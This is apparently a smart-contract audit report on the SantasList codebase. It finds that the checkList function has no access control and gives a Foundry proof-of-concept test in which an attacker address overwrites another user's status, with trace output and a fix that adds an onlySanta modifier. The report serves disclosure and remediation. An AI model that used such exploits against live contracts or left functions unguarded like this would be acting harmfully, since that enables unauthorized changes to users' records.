anyone can change other user status
Summary
anyone can change other users status
Vulnerability Details
Anyone can call the checkList function, potentially leading to unauthorized modifications of the list.
by this any one can change any other user status.
Impact
change other users status.
POC
add this to tests files
run $forge test -vvvv --match-test testCheckList --mc POCSantasListTest
pragma solidity 0.8.22;
import {SantasList} from "../../src/SantasList.sol";
import {SantaToken} from "../../src/SantaToken.sol";
import {Test} from "forge-std/Test.sol";
import "forge-std/console.sol";
contract POCSantasListTest is Test {
SantasList santasList;
SantaToken santaToken;
address user = makeAddr("user");
address santa = makeAddr("santa");
address attacker = makeAddr("attacker");
function setUp() public {
vm.startPrank(santa);
santasList = new SantasList();
santaToken = SantaToken(santasList.getSantaToken());
vm.stopPrank();
}
function testCheckList() public {
vm.prank(santa);
santasList.checkList(user, SantasList.Status.NICE);
uint256 nice = uint256(santasList.getNaughtyOrNiceOnce(user));
console.log("user Before change:",nice);
vm.startPrank(attacker);
santasList.checkList(user, SantasList.Status.NAUGHTY);
uint256 not = uint256(santasList.getNaughtyOrNiceOnce(user));
console.log("user After change:",not);
}
}
logs
Running 2 tests for test/unit/SantasListTest.t.sol:SantasListTest
[PASS] testCheckList() (gas: 48576)
Logs:
user Before change: 0
user After change: 2
Traces:
[48576] SantasListTest::testCheckList()
├─ [0] VM::prank(santa: [0x70C9C64bFC5eD9611F397B04bc9DF67eb30e0FcF])
│ └─ ← ()
├─ [4211] SantasList::checkList(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], 0)
│ ├─ emit CheckedOnce(person: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], status: 0)
│ └─ ← ()
├─ [690] SantasList::getNaughtyOrNiceOnce(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D]) [staticcall]
│ └─ ← 0
├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001375736572204265666f7265206368616e67653a00000000000000000000000000) [staticcall]
│ └─ ← ()
├─ [0] VM::startPrank(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e])
│ └─ ← ()
├─ [22111] SantasList::checkList(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], 2)
│ ├─ emit CheckedOnce(person: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], status: 2)
│ └─ ← ()
├─ [690] SantasList::getNaughtyOrNiceOnce(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D]) [staticcall]
│ └─ ← 2
├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000001275736572204166746572206368616e67653a0000000000000000000000000000) [staticcall]
│ └─ ←
Tools Used
Manual Review
Recommendations
add a modifier
@@ -118,7 +118,7 @@ contract SantasList is ERC721, TokenUri {
* @param person The person to check
* @param status The status of the person
*/
- function checkList(address person, Status status) external {
+ function checkList(address person, Status status) external onlySanta {
s_theListCheckedOnce[person] = status;
emit CheckedOnce(person, status);
}